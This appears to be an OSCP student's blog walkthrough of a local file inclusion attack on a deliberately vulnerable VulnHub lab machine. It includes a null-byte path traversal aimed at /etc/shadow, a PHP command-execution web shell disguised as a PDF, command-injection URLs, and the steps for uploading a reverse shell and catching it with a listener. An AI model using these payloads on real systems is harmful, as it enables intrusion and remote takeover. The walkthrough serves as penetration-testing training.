OSCP Learning Notes - WebApp Exploitation

Posted 2020-11-10 一蓑烟雨

Local File Inclusion[LFI]

Target Pentester Lab: Download from the following website:

https://www.vulnhub.com/entry/pentester-lab-php-include-and-post-exploitation,79/

 

1. Use netdiscover to find the IP of the target server.  The IP address of the target server is 10.0.0.22.

netdiscover

 

2. Click different buttons of the website, and watch the change of the URL.           page= XXXX

 

 3. Scan the target website using the tool nikto.

nikto -h 10.0.0.22

4.Change the URL to "http://10.0.0.22/index.php?page=../../etc/shadow%00", and press enter.  We can find the following warning message.

 

5. Return to the submit page. Find that we can upload pdf files to the website.

 

 6. Make a shell.pdf file and save it.

%PDF-1.4

<?php
      system($_GET["cmd"]);
?>

7. Upload the shell.pdf to target website.

8.Change the URL to the following type with shell commands.

http://10.0.0.22/index.php?page=uploads/shell.pdf%00&cmd=whoami

http://10.0.0.22/index.php?page=uploads/shell.pdf%00&cmd=pwd

 

 

 

9 Down load a web-shells from the following website. 

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

 

10.Modify the web-shell file. ①Add the PDF tag. ②Change the ip and port.

 

 

11.Copy the php shell file as shell2.pdf. And upload this file to the website.

cp php-reverse-shell.php shell2.pdf

12. Listening the port 4444 on Linux

nv -nvlp 4444

13.Browse the following URL through Firefox.

http://10.0.0.22/index.php?page=uploads/shell2.pdf%00

14. Then we can use the shell command we like on the terminal.